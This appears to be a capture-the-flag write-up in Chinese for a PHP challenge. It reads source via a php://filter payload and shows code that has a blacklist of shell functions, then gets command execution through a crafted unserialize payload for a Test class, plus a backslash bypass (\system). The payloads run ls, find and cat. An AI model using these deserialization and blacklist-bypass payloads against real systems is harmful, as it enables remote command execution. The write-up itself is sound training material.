一、信息收集
进入页面,发现页面一直在自动提交信息,抓包。
推测存在函数执行函数,并且只支持一个参数。
尝试file_get_content
函数使用[[漏洞笔记/PHP/PHP伪协议]]读取index.php
。
payload:func=file_get_contents&p=php://filter/read%3dconvert.base64-encode/resource=index.php
解码后得到源码:
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p)
{
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string")
{
return $result;
}
else
{
return "";
}
}
class Test
{
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct()
{
if ($this->func != "")
{
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null)
{
$func = strtolower($func);
if (!in_array($func,$disable_fun))
{
echo gettime($func, $p);
}
else
{
die("Hacker...");
}
}
简单的代码审计之后,我们发现有两种方法进行绕过。
二、预期解:反序列化构造RCE
我们注意到有个没有使用的Test类,在析构函数中有gettime
函数,我们想到可以使用unserialize
函数,构造一个Test类对象来完成命令执行。
payload:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls%20/";s:4:"func";s:6:"system";}
payload:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find%20/%20-name%20flag*";s:4:"func";s:6:"system";}
直接cat文件:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat%20/tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
三、非预期解:反斜杠绕过
利用反斜杠绕过黑名单,在shell命令中,反斜杠代表转义的意思,除了几个特殊的反斜杠转义,其他的字符前加反斜杠等于他本身,根据这个原理绕过了WAF。
payload:func=\system&p=cat%20/tmp/flagoefiu4r93